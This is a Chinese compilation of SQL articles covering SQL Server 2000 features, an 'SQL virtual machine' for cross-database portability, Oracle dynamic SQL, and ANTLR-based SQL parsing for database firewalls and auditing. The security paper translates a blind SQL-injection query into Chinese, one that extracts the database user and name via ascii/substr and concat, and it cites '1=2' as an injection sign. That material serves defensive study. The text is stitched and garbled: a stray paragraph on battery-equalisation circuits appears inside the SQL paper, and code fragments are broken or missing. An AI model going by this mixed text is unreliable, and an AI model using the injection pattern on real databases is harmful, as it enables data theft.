电子商务解决方案的另一个方面是其可用性。支持SQL Server 2000 所达到的高可用性的一个关键技术是实施故障恢复群集。如果磁盘损坏、崩溃,用户可以转而使用另一台计算机;如果一个CPU 损坏,用户可以转而使用另外一个CPU 或是群集中的另一台计算机,使得系统仍然可以持续运转。故障恢复群集功能在SQL Server 2000 中被显著增强了,它可以提供四个结点的集成,而不是原来的两个,这使得错误发生时,系统可以在这四台计算机之间任意转换。故障恢复群集技术与可伸缩式的分布式分区视图一起为电子商务网站提供了一种鲁棒的解决方案,使其可以持续稳定地运行。
当然还有其它重要的地方,例如丰富的编程接口集。我们早些时候曾谈论过XML 特性,我们已经努力使得SQL Server 的XML 支持技术可以被数据库及网络开发人员使用。其它数据库也有XML 支持,但很多时候它们都要求使用像Java 这样的面向对象的编程语言,而SQL Server 不要求这一点。在SQL Server 2000 中,已经扩展了Transaction SQL (T-SQL) 语言的功能,其中包含了像XPath、 XML、 XSL、 XSLT 这样的标准。建议从事这类集成开发项目的开发人员看一看SQL Server 中的 XML 功能并将它与竞争对手作一比较,相信他们会看到SQL Server 更好用,也很好地支持了上面那些重要标准,使得集成性的开发方案更加有效。
8.SQL虚拟机的设计与实现 篇八
今天,软件公司开发的企业级应用程序面对的很可能是不同的数据库平台,如有的企业购买的是Oracle数据库,而另外一家用的可能是DB2,Sybase,SQL Server,Informix中的一种。在这个环境里,要想在各个企业推广自己的产品,代码的可移植性和可维护性正变得越来越重要。由于数据库供应厂商都使用他们自己专有的SQL语言,例如Oracle使用PL/SQL,而Sybase和SQL SERVER使用Transact SQL,两者在很多细节上不同,从一个数据库平台到另一个数据库平台移植代码也变得非常复杂,要花费大量的人力和时间,另外由于软件系统的版本升级,要保持系统代码在不同数据库平台上的同步升级,也需要付出很大的工作量。
近几年来,很多软件公司基于上述原因致力于不同数据库平台间代码移植性的研究。在这方面可用的一种方法是SQLJ,但SQLJ是一个与Java编程语言紧密集成的嵌入式SQL版本,它的局限性是:一方面对于不是用Java开发系统的人员来说不适用;另一方面大多数开发人员对交互式SQL很熟悉,对嵌入式SQL却还要有个熟悉的过程。笔者在参与开发多个省的电力生产调度管理系统过程中,利用SQL虚拟机思想很好地实现了基于不同数据库平台间应用的代码移植。在虚拟机的实现过程中通过多线程管理、线程池和数据库连接池等技术[1,2],较好地解决了SQL虚拟机的执行效率问题。
1 设计思想
JAVA语言依靠虚拟机获得了“一经编写,随处运行”的特点[3],把这种思想移植到数据库应用程序开发上,就形成了SQL虚拟机的概念。换句话说,把SQL虚拟机构造为应用系统与数据库服务平台之间的一个中间层(如图1所示),数据库应用系统开发人员用某种SQL语句进行数据库应用系统开发,然后由SQL虚拟机把它解析成对应数据库可以接受的SQL语句。这样无论它的数据库服务器采用的是ORACLE还是其它种类的数据库,对应用系统的开发人员来说,不需要对应用系统作任何修改,达到了跨数据库平台进行代码移植的目的。
举例来说,要从表Table1查询前 n 行记录,用ORACLE语法表示如下:
select * from Table1 where rownum<=n; (1)
如果程序员在程序里用ORACLE的语法写好了SQL语句,这个代码运行在ORACLE数据库环境下没有任何问题。假设现在代码要在SQL SERVER数据库环境下运行,因为SQL SERVER查询前n行记录的语法变成了语句(2),如下所示:
select TOP n*from Table1; (2)
所以包含语句(1)的程序要想在不修改代码的情况下运行在SQL SERVER数据库环境下,需要SQL虚拟机在提交到数据库之前把该语句翻译成符合SQL SERVER的语法,也就是语句(2)形式。
由此可见,SQL虚拟机的核心是对SQL语句进行不同数据库语法间的翻译。在实现时SQL虚拟机可以先把源SQL语句映射到对应的语法树,然后再由语法树映射成符合目标数据库规范的SQL语句。语句(1) 的语法树示例如图2所示[4,5]。
2 SQL虚拟机的设计
2.1 SQL虚拟机的工作流程
根据上一节的思想,SQL虚拟机的工作流程如图3所示,包括以下几个步骤:
①应用系统通过SQL虚拟机提供的接口传入SQL语句。
②SQL虚拟机对构成SQL语句的字符流进行扫描和通过词法分析变成符号流。
③符号流经过语法分析映射到相应的语法树。
④在语法树基础上,根据目标数据库的SQL语法结构进行翻译,生成目标数据库的SQL语句。
⑤将SQL语句提交到目标数据库服务器执行。
⑥把目标数据库服务器执行的结果返回给应用系统。
在SQL虚拟机的设计中,把复杂的语义分析、SQL优化等仍交给目标数据库完成,这样做的好处是一方面大型数据库在这方面的功能非常强大;另外一方面如果应用系统提交的SQL有语义错误,虚拟机同样可以从目标数据库得到检查结果,再返回给调用的应用程序,这样也不影响虚拟机要完成的任务,同时避免了虚拟机做它力所难及的事情,使虚拟机可以专注于其它重要功能的实现。
2.2 SQL语法规范的选择及不同点总结
SQL虚拟机需要约定一套SQL语法规范供软件开发人员使用,一般而言,软件开发人员对现有的大型数据库的SQL比较熟悉,如果在设计SQL虚拟机时另外确定一套SQL规范,反而不利于软件开发人员的使用和SQL虚拟机的推广,为此确定了从目前大型数据库的现有SQL规范中选择其一。考虑到ORACLE的PL/SQL功能最为强大,所以确定了选取PL/SQL中的常用语法作为自己的语法标准,语法图按照ORACLE公司网站给出的规范为依据。
为了使虚拟机知道哪些不需要翻译,哪些又是需要转换的语法,设计人员需要先总结出其它数据库语法规范同ORACLE语法规范存在哪些方面的不同。通过比较各个数据库厂家提供的语法规范来获得不同点,也可以通过浏览网上关于数据库迁移时涉及到的SQL调整的文章来获得,不同点包括了从数据类型、函数命名、函数使用方法、自增长序列、保留字到特殊语句等多个方面,细节内容颇多,本文不再详述。
3 SQL虚拟机的实现
在该项目中,SQL虚拟机是用DELPHI开发的动态连接库(如果要使多种开发工具能调用它,还可以把它做成COM组件的形式),为了方便设置当前数据库的类别以及其他相关参数,用XML文件来定义系统配置文件。
3.1 主要类说明
系统定义的主要类及其作用如下:
①扫描器类TScanner:用于对应用系统送出的源SQL进行字符流扫描,并存储到一个TStrings类型的私有变量中。
②语法基类TSyntax:一方面提供方法用于对TScanner扫描得到的字符串列表进行词法分析,判断是保留字、数字、操作数或字符串中的哪类;另一方面TSyntax内定义了一个类型也为TSyntax的属性,可用于指定构成语法树的派生类对象成员间的父子嵌套关系。另外TSyntax定义了一个名为GetStatement的虚函数,在语法派生类中重载,生成各语法树对应的目标SQL。
③语法派生类:均继承自TSyntax,它有两种类型。一种是语法树根类,如TSelect(Select语法树根类)、TUpdate(Update语法树类)、TDelete(Delete语法树类)、TCreate(Create语法树类)等等;另一种是语法树子类,如TSubQuery(子查询类)、TExpression(表达式类)、TColumn(字段类)等等。
④目标数据库SQL解析类TSqlParser:实现了ISqlParser接口,ISqlParser接口包含了用户执行SQL时调用的方法:OpenDataSet和ExecuteSql; OpenDataSet方法用于执行查询语句,而ExecuteSql方法用于执行插入、修改和删除语句。每种目标数据库均有各自的目标数据库SQL解析类。
⑤语法类工厂TSyntaxKit:用于创建指定的目标数据库SQL解析类对象。
3.2 对特殊语法规则的处理
比较各个数据库的SQL语句规范,发现大多数的源SQL语句都能在目标数据库找到同等功能的语句,只是有的表示方式不一致,直接翻译就可。但也有一些特殊的SQL语句在目标数据库中找不到对应的功能语句,就不能采取直接翻译的方法,需要SQL虚拟机进行特殊处理。
①CONNECT BY语句的处理
PL/SQL语法标准里有个功能非常强大的查询语句,就是CONNECT BY 结构,它的作用是可以对关系模式进行树结构形式查询,但该语句在其他数据库里找不到对应功能的语句。我们的处理方式是在目标数据库构建内存临时表模拟该项功能,结果集再由临时表返回。现以目标数据库为SQL SERVER为例,实现把查询结果放入临时表的核心代码如下:
TempTab:=‘#PMPSR'+IntToStr(Random(10000000));//设定临时表名称
sql:=‘select Cur=%s, Pri=%s, state=0 into %s from %s where %s in' +
‘(select %s from %s where %s)'; //树根节点数据插入临时表的SQL
sql:=format(sql,[Current,Prior,TempTab,Tabs,Current,Prior,Tabs,Start]);// Current,Prior分别为connect by语句中的儿子和父亲字段列名。
nAffect:=FKit.ExecuteSQL(sql); // ExecuteSQL方法返回执行SQL后的受影响行数。
while nAffect>0 do //循环到没有父亲节点为止
begin
sql:=‘insert into %s select %s,%s,%d from %s where %s in '
+‘(select Pri from %s where state=%d)'; //父亲节点数据插入临时表的SQL
sql:=format(sql,[TempTab,Current,Prior,level+1,Tabs,Current,TempTab,level]);
Inc(level);
nAffect:=FKit.ExecuteSQL(sql);
end;
②不必翻译的SQL语句的使用约定
默认情况下,所有传入SQL虚拟机接口的SQL语句都只能被限定在刚才所列出的语法规范范围内。如果程序开发人员在某些场合一定要使用目标数据库提供的专有SQL,我们提供在SQL前加上‘S|’的方式来表示该语句不用被解析,直接转换即可。这种方式增加了系统的灵活性和适应性。
③用户自定义数据库函数的处理
对于SQL里面包含的用户自定义数据库函数,用户在移植时必须在目标数据库建立同名同参数的函数,SQL虚拟机对此语句也是直接转换。
4 结束语
本文介绍了用于跨数据库平台进行应用系统代码移植的SQL虚拟机的设计思想和实现技术,目前该技术已经在多个省的电力生产调度管理系统推广中得到广泛应用。省电力生产调度管理系统是个为省电力公司和其所辖市电力调度中心进行调度生产管理服务的分布式管理信息系统,主要包括调度运行管理,运行方式管理、自动化管理、继电保护管理和通信管理五个子系统,项目规模很大。参与了国电南瑞集团信息系统分公司的电力生产调度系统开发, 在开发完成福建省的电力生产调度系统后,极希望向全国各省推广该产品,但当时面临的难点是各个省电力公司此前大都已经打包购买过某种数据库,而且很多省数据库类型不一样,如福建省电力公司使用的是ORACLE数据库,江苏省电力公司使用的是DB2数据库,安徽省电力公司使用的是SQL SERVER数据库,有些省还存在省公司和市公司数据库不一致的情况,他们大都不会在上马调度生产管理系统的时候重新购买数据库。要推广就要修改代码中的SQL语句,当时系统编译后的代码量已经达到了300多兆,另外升级维护工作量也会增加许多。两者加起来要付出的时间和人力成本是难以估量的。正是由于采用了SQL虚拟机技术,使得各省的代码不需要因为SQL规范不一样而修改,参与的项目事业部也几乎囊括了全中国的该产品市场,取得了很大的经济价值和社会价值。
摘要:为了解决由于不同数据库平台SQL规范的不一致而引起的大型企业应用系统代码移植难题,提出了基于SQL虚拟机进行跨数据库平台代码移植的思想,并对构建SQL虚拟机过程中使用到的关键技术做了阐述。该技术已成功应用到实际系统移植中。
关键词:代码移植,SQL,虚拟机
参考文献
[1]董梁,王昆.数据库连接池的分析与实现[J].电子科技,2004(7):3-4.
[2]廖湘琳,张宏军,赵振南,等.数据访问中间件系统设计与实现[J].计算机工程,2006(4):87-88.
[3]马琳,罗铁坚,宋进壳,等.一种基于Web的虚拟机[J].计算机工程,2005(5):127-128.
[4]吕映芝,张素琴,蒋维杜.编译原理[M].北京:清华大学出版社,1998.
9.sql学习与总结 篇九
动态SQL技术是一种高级的程序设计技术, 在程序开发时, 不知道要使用哪些字段或查询条件, 而在程序执行时才能构造出来。遇到这种情况时使用动态SQL技术就能很好的满足要求, 这种技术具有很好的通用性, 功能强大, 方便灵活。例如, 应用程序在执行时可以提示用户, 在Select、Update或Delete语句中可以自由输入数据字段列表;在Where条件中提示输入查询条件, 而不必将上述内容固定写在程序代码中。
1 动态SQL处理过程
动态SQL处理过程如下: (1) 根据用户的输入构造SQL语句文本; (2) 分析该语句的语法和语义以及数据对象是否有效, 另外判断相应存取权限等; (3) 虚实结合。提示用户输入实宿主变量的值, Oracle把实宿主变量与SQL语句相结合, 获得实宿主变量的地址, 以便存取; (4) Oracle执行该SQL语句, 完成操作; (5) 动态SQL语句能用实宿主变量的新值重复执行。
2 动态SQL方法选择
动态SQL方法有4种, 其中前2种比较简单, 但灵活性不强, 这里不再叙述;方法3处理的SELECT查询语句, 而且它包含的选择表项 (指紧跟在关键字SELECT之后的列名或表达式) 或虚拟输入宿主变量的个数或类型在预编译时都已知道。
方法4所处理的语句可以是也可以不是SELECT语句, 而且它包含的选择表项或虚拟宿主变量的个数和类型直到程序运行时还不知道。比如:
INSERT INTO dept (<未知>) VALUES (<位置>) ;
SELECT (<未知>) FROM dept WHERE DEPTNO=20;
其中dept是表名。
对于一个实际应用来说如何选择动态SQL方法, 通过下图做出决策。
3 动态SQL方法4的分析
我们以一个数据导出程序的实现, 来进行分析方法4的核心内容。采用方法4可以灵活的接收用户输入的查询语句, 执行查询语句, 将返回的结果写到文本文件中。程序使用了Proc (Oracle提供的开发工具) 开发, 在分析之前需要解释一下相关的概念, 虚拟输入宿主变量:就是在SQL语句中的等待用户赋值的变量, 比如下面SQL语句中的X就是虚拟输入宿主变量, select name, id from temp from points<:X;实输入宿主变量, 是用户对X变量所赋予的实际值。
下面结合这程序来说明:
程序入口:首先根据main函数的两个参数argc argv进入函数执行, 这两个参数可以在程序运行时接收用户输入查询语句, 参数的个数以及参数的名称都可以不同, 但不能小于2个;另外要连接数据库, 用函数alloc_descriptors分配存储空间。关键代码如下:
分析用户输入的语句并声明一个光标, 为SQL语句中的虚拟输入宿主变量设置结合变量, 然后处理选择表项, 如果输入语句不是SELECT立即返回。将返回的行数告诉用户。由于本程序并不关心返回了多少行, 将代码显示信息注释掉了, 最后把在内存中开辟的空间释放掉。
这里面的关键两个函数需要进一步的研究和说明, 先来看set_bind_variables () 函数, 它的主要功能是得到实际的虚拟宿主变量的个数;为实输入宿主变量分配空间和通过用户输入来取值, 关键代码如下:
再来看一下process_select_list () , 如果是SELECT语句, 对于选择表项处理就显的非常重要了, process_select_list () 返回每个表项对应的名字, 表项的实际个数, 长度 (包括精度和定标) 和每一项的NULL/not null状态。如果不是SELECT语句直接返回就可以了。
将以上步骤完成后, 就可以进行提取数据方面的操作了, 下面的内容就是将提取数据并将结果输出屏幕上, 字段值与字段值之间用单竖线分隔。
4 应用结果
将unload可执行文件按下面的格式执行
unload select deptno, empno from emp where salary<5000>my.txt
执行结果就是, 将emp表中薪水小于5000的员工号及部门显示出来, 并且写到my.txt文本文件中, 并且员工号和部门的值之间用竖线分隔, 每条记录为一行。Deptno部门字段, empno为员工字段。My.txt文本中的内容如下:
计算系|251
经济系|308
金融系|1501
注:“>my.txt”为将命令的屏幕输出结果重定向到my.txt文件中。
5 结束语
Oracle动态SQL4是一个更加复杂的程序设计技术, 它既适用于SELET语句, 又适用于非SELECT语句。但是, 它与方法1、2、3相比有突出的不同。它的输入宿主变量和选择表项的个数在程序执行前不知道, 以及它们的数据类型也不知道, 需要进行数据类型强制转换, 但使用方法4, 有更强的灵活性。
摘要:Oracle在企业级应用系统中得到广泛应用, 系统维护人员会经常对Oracle数据进行导出, 进行备份, Oracle提供了几种数据导出的方法, 但没有直接将Oracle存储的数据按文本文件形式导出的方法, 利用动态SQL4技术实现了将Oracle数据直接导出到文本文件中。
关键词:Oracle,数据导出,动态SQL
参考文献
[1]路川, 胡欣杰, 何楚林.Oracle10g DBA宝典/宝典丛书 (宝典丛书) [M].北京:电子工业出版社, 2007.
[2]陈志刚.大型数据库技术 (Oracle9i高级程序设计教程) [M].广州:华南理工大学出版社, 2005.
10.sql学习与总结 篇十
set cnn=server.createobject(“adodb.connection”)
waittime=“waitfor delay ''00:00:01''” ''
在sql服务器端延时1秒,这是关键 sql2=“select * from database” begintime=now() quittime=0
''查询数据库5秒,每1秒查一次 do while quittime<5 ''延时处理
cnn.Execute waittime ''调用存储过程查询
11.sql学习与总结 篇十一
近几年,信息泄漏事件频繁发生,用户对数据库的安全性越来越关注。由于数据库本身的复杂性,数据库的管理运行、日常维护和数据安全保护只能由专业的数据库管理员进行。但是,很多使用数据库的人并不熟悉数据库,甚至完全不了解数据库。SQL分析技术能够帮助用户快速抽取SQL语句中的字段、表、视图及对它们的操作,快速识别SQL语句的风险。同时基于SQL分析技术能够将SQL语句翻译成自然语言,使之更容易被理解,有助于实现安全控制。
早期的SQL解析使用Lex,Yacc的比较多。虽然Oracle已经将ANTLR应用在SQL Developer的IDE中,但是SQL Developer并非开源使用。因此使用ANTLR进行SQL解析的研究目前还很少,进行SQL翻译的工作还未见报道。在使用ANTLR解析SQL并且将结果进行进一步分析是一个新的尝试。本文针对数据库安全,基于LL文法,采用ANTLR工具,实现了SQL的词法和语法解析器,并进一步实现了SQL语句到自然语言的翻译。最后,将SQL解析和翻译功能应用在数据库防火墙和安全审计系统中,对于提高数据库的安全防护能力具有很大的实际意义。
1 SQL解析器
1.1 SQL词法解析器实现
SQL语言的词法主要分为标识符、数字、注释与提示、字符串、时间、区间和变量。基于ANTLR实现SQL词法解析首先要定义词法的fragment。所谓的fragment是词的一部分,而不会出现在词法解析的结果中。以数字和时间为例分析。
(1)数字Number。在SQL语言中表示数值类型。数值类型包含整数部分、小数部分、符号部分、指数部分和类型部分,其中指数部分是一个大写字母“E”或者一个小写字母“e”加一个带有符号的整数,如果不带符号默认为“+”。数值类型中,整数部分和小数部分必须包含其中之一,其他部分都是可选的,只包含小数部分时允许“.”出现在数值的最前面,例如“.5”表示“0.5”。数字的DFA表示如图1所示。
(2)时间Datetime。时间格式比较固定,必须由关键字DATE开头,后面是一个表示时间的字符串,如果不是表示时间的字符串,SQL语句认为是错误的语句。另外,时间戳也被认为是一种时间格式,必须是由关键字TIMESTAMP开头,时间戳格式包含AT TIME ZONE可选结构,表示时区。时间的DFA表示如图2所示。
根据这七种类型的自动机表示将其转换成对应的EBNF表示。使用“*”、“+”替换DFA中的循环结构,“*”表示可以跳过的循环结构,“+”表示不可跳过的循环结构。使用“|”表示DFA中的选择结构,在每个分支之间使用“|”表示选择。使用“?”表示DFA中可跳过的结构,将“?”放在可选结构的后面。在每个单元上使用“()”将不可拆分的部分包含在内,就可以使用简单的EBNF语句描述复杂的DFA。另外,对于SQL的保留字要做单独的识别。例如:select要定义成SELECT:S E L E C T;这样select无论是“Select”还是“se LECT”都能识别出来。针对不同的SQL语句它的保留字也是不一样的,需要单独定义语法文件。SQL语言中是不区分大写字母和小写字母的,在ANTLR中单独的字母应该被当作碎片来定义,不能出现在最终的解析结果中,使用“fragment”修饰。字母包含键盘上所有能够输入的符号以及键盘上不能直接输入的UNICODE字符。SQL语言中使用的数字是阿拉伯数字0~9,单独的数字也要使用“fragment”修饰。
1.2 SQL语法解析器实现
语法解析器实现过程中需要将所有的语言模式转化为EBNF描述的规则语句。SQL语言的范式使用的是EBNF描述,要将其转换成EBNF描述的规则。EBNF范式的好坏虽然不会影响到解析的效率,解析效率只与被解析的字符串的长度有关系,但是会影响到解析器生成的效率。坏的EBNF规则会导致生成的过程中出现大量的递归调用和栈操作,生成的时间和内存会成指数级增长。所以EBNF的规则还是有很多细节需要注意。规则的深度不能太深,并且需要或关系的规则尽量将K值控制到最低,因为规则生成的复杂度是(K*N)M。其中,K是向后查看的token数;N是或关系连接的多个规则;M是规则嵌套的层数。由于一个子规则经常被多个规则引用,所以子规则会影响所有引用它的规则的生成效率。降低子规则的层数和减小K值是有效的提高生成效率的方法。N值一般难以降低,除非规则本身就有冗余,但是这种情况比较少见。
使用ANTLR将语法文件编译成解析器,实现过程类似于词法分析。输入由String变成tokens,ANTLR自身的语法不变。使用全部的语法生成语法解析器,在生成过程中系统采用LL(K)分析方法。ANTLR支持预测功能,可以在特定的地方使用预测。设置回溯位置,对输入的tokens进行预测,降低解析时间和消耗的资源。解析的结果可以得到每一个token的属性、内容和值。再对生成的一维AST树做递归下降,将AST树的二维层次结构补全,得到具有层次和附属关系的二维语法树。AST树上的节点对于解析来说并不都是必须的,在生成过程中将不需要的节点删除,留下必须的结果,精简AST树对于快速提取重要信息有很大的帮助。在AST树生成的过程中直接嵌入SQL语句检查代码,同时可以在解析过程中直接根据token的类型判断输入词的意义,从而将SQL中最重要的表、视图、字段直接提取出来,同时判断出SQL的类型和操作对象的类型。更进一步,将SQL中存在的安全隐患的类似缓冲区溢出和SQL注入攻击的风险直接检测出来。
2 SQL翻译
2.1 SQL语句AST的构建
ANTLR语法解析的输出结果就是抽象语法树。将语法解析的结果设置为AST,ANTLR每一个规则解析之后就能生成AST结构。默认情况下生成一维语法树,所有的结果在同一个层次上。如果需要自定义抽象语法树的返回结果,需要在语法解析过程中加入AST构建规则。ANTLR的抽象语法树构建语法非常简单,标准语法只有三种:
(1)“^”,前面的符号作为父节点;
(2)“!”,前面的节点不出现在语法树上;
(3)“⁃>^(……)”,“⁃>”左侧是语法解析语句,右侧是抽象语法树生成语句,括号内是一棵子树,第一个符号是树的根,其他元素是第一个元素的子节点。例如:(A+B)⁃>^(+A B)。
由于SQL语言是结构化的查询语句,在构建抽象语法树上有先天的优势。构建语法树时只需要考虑SQL中查询的主体,忽略不需要的部分,其中最重要的就是表、字段、视图和在表、字段、视图上的操作。查询语句是SQL语句中最复杂的语句,可以使用嵌套和递归的方式,语法结构十分灵活。由于其他语言相比于查询语言简单很多。本节用查询语句举例说明SQL语句抽象语法树生成过程。
查询语句可以包含for update语句,但不是必须包含,for update和查询是平行关系,一个查询只能在最后包含一个for update语句,这里只需要将最后的“;”裁剪掉:
select Statment:subquery(for_update_clause)?(′;′!)?;
子查询可以有嵌套,也可以和其他子查询做交、并、异或操作,最终结果做一次排序:
查询块是最终的查询,包含查询的各个功能模块,模块在结构上是平行的:
2.2 AST转换成自然语言
SQL语句的语言结构更接近英文的语言结构,与中文的语言结构差别较大,简单的对关键字替换不考虑语义是不能达到翻译效果的,只会让结果更加匪夷所思,举例说明:
直接替换翻译结果为:
使用树解析器将抽象语法树转换成自然语言。由于抽象语法树采用递归的方式表示语法结构,在解析的过程中也使用递归的方式,并将语法习惯调整为汉语语言的语法习惯。在转换的过程中补充虚词和连接词,增加语言的连贯性。最后对翻译结果进行格式化,增加缩进便于阅读。考虑汉语的阅读习惯,可以将较长的句子翻译成子句的形式,最后,根据数据库建模表和数据库方法表,可以将翻译结果中的方法名、字段名、表名等翻译成中文,翻译时只要判断出被翻译内容的类型,然后查找相应的数据表,就能将剩下的英文部分翻译成中文,生成最终结果为:
模块1:
查询获取用户方法(user)的执行结果的返回数据
模块2:
从用户表(user)中查询姓名字段(name)的返回数据
条件1:
标识字段(id)等于条件判断方法(if)[转换成ascii编码方法(ascii)[子串方法(substr)[{模块1},1,1]的返回结果]]的返回结果等于1,1,0]的返回结果
条件2:
字串‘admin’在[{模块2}]里
模块3:
从日志表(logs)中查询满足{条件1}条件的日期字段(date)和用户字段(user)和动作字段(action)和姓名字段(name)的返回数据
模块4:
逻辑表[{模块3}]
模块5:
查询方法用户方法(user)执行结果的返回数据
模块6:
连接字符串方法(concat)[{模块5},′⁃⁃′,方法数据(data⁃base)的执行结果]的执行结果
主查询:
从{模块4}中查询满足{条件2}条件的{模块6}和姓名字段(name)的返回数据。
翻译过程中需要调整语序,语序的调整主要使用栈实现,将需要调整语序的句子放入栈中,返回时再从栈中取出。树解析器翻译的过程如下:
(1)当前指针在根节点,获取节点,判断节点类型,类型不一样,Tree Walker进入不同的解析模块,这里以SELECT语句为例;
(2)获取一个子节点,判断节点的类型;
(3)如果是SELECT语句,那么就调用se⁃lect_tree_walker,然后调整语序,执行stack.push操作,将结果先缓存。如果是FROM语句,调用from_tree_walker的结果放入output流中。如果是WHERE语句,调用where_tree_walker,调用stack.pop将SELECT语句出栈,和WHERE语句合并格式,结果放入到output流中;
(4)tree_waker是一个递归的过程,在解析过程中,将查询的条件和子模块生成独立的翻译模块;
(5)tree_waker在执行的过程中遇到需要查询建模表和函数表的情况,将查询的结果输出;
(6)重复步骤(2)~步骤(5)过程,直到input流为空。
Tree Walker对部分叶节点的翻译规则如表1所示。
3 系统实现与效果分析
本系统目前已在数据库审计和防火墙产品有所应用,数据库审计与防火墙引擎设置界面如图3所示。要对数据库进行审计或者建立防火墙,先要添加数据库引擎。审计数据获取方式有很多种,在设置界面进行设置。
规则设置界面部分截图如图4所示。规则可以设置表、字段、SQL类型等,SQL解析中能够获取的所有信息都可以在规则界面上设置。通过对SQL语句进行解析获取语句的类型,然后对不同类型的SQL语句设置不同的规则。
告警设置界面如图5所示。规则匹配上之后设置相应的告警级别,就会产生相应的告警信息。
检索界面如图6所示。可以对审计日志进行检索,获取数据库用户的操作行为。
告警界面如图7所示。SQL语句触发告警规则就会产生告警,在告警界面上可以查看告警细节。
图7中select 1 from db_queue_tables where 1=2,其中条件1=2是常量比较,判定SQL语句可能是SQL注入语句,产生高风险告警。然后通过SQL翻译将SQL语句翻译成对应的中文,select 1 from db_queue_tables where 1=2的翻译结果为“从表dba_queue_tabkes中查询满足条件1=2的值1的返回结果”。
最新流量界面如图8所示。在最新流量界面可以实时显示最新的SQL操作,随时监控SQL操作动态。基于SQL解析和翻译的数据库审计和防火墙产品可以在审计模式对操作进行溯源,起到对不法分子进行震慑的作用。防火墙模式可以通过阻断方式对风险进行控制,从而提升数据库系统的安全性。
4 结论
本文通过分析标准SQL语言的词法规则和语法规则,并基于ANTLR设计并实现了SQL词法解析器和语法解析器;使用SQL词法解析器和语法解析器实现了SQL语句辅助分析功能,实现了SQL语句的词法分析和语法树生成;通过解析语法树提取SQL信息并将SQL语句翻译成自然语言;并将SQL解析和翻译的功能应用在数据库综合审计系统中。SQL解析和翻译模块已经被应用在商业数据库防火墙和安全审计系统中,并且被部署到多个数据中心。系统可以监控数据库的所有活动,阻断危险操作和攻击,从而达到增强数据库安全的目的,为保障数据库及信息系统的安全逐步发挥作用。
本文设计了一种基于反激式直流变换器的动力电池均衡电路,给出了系统建模方法,并在PSIM环境下完了系统仿真电路,针对8种典型非均衡状态进行了全面的仿真实验,最后通过实验证明了系统建模的有效性。由于建模过程忽略了变换器磁阻、磁滞、磁饱和现象,同时简化了电路寄生参数,需要进一步完善。
摘要:信息泄漏事件不断发生使得数据库安全的重要性不断提高。基于SQL解析能够实现SQL到自然语言的翻译,帮助非专业人员分析数据库的访问活动和识别风险。通过SQL词法和语法的EBNF描述构造了可以用于LL的规则输入,使用ANTLR工具生成了SQL词法和语法解析器。进一步,SQL词法和语法解析器实现了SQL语句到抽象语法树的转换。并通过解析抽象语法树,将SQL语句翻译成自然语言。最后,将SQL解析和翻译功能应用在数据库防火墙和安全审计系统中。
关键词:SQL解析,LL解析器,ANTLR,抽象语法树,SQL翻译,数据库安全
参考文献
[1]张博,类艳春,廉小伟.数据库安全漏洞浅析[J].保密科学技术,2012(3):23-25.
[2]刘三献.基于ANTLR的Gaussian词法分析器和语法分析器的分析与设计[D].兰州:兰州大学,2009.
[3]闫红岩.SQL语句分析及数据库安全研究[J].贵阳:贵州大学,2006.
[4]侯智斌,孙彦飞,吕曹芳.基于入侵容忍技术的数据库安全策略研究[J].现代电子技术,2011,34(7):78-80.
[5]PARR T,FISHER K.LL(*):the foundation of the ANTLR parser generator[C]//Proceedings of 32nd ACM SIGPLAN Conference on Programming Language Design and Implementation.[S.l.]:ACM,2011:425-436.
[6]SALOMAA K,YU S.NFA to DFA transformation for finite languages over arbitrary alphabets[C]//Proceedings of 1996 First International Workshop on Implementing Automata.London:Springer,1996:149-158.
[7]LOUDEN K C.Compiler construction:principles and practice[M].New York:Cengage Learning,2000:21-148.
【sql学习与总结】推荐阅读:
SQL学习心得09-04
sql2005学习心得08-22
爆破与安全学习总结08-16
个人读书与学习总结10-25
孝道与感恩的学习总结07-29
学习国学经典与教育总结09-26
学习方法总结与反思12-04
《信息技术与课程整合》学习总结09-14
2022年个人学习总结与体会10-13
企业管理学习总结与心得11-23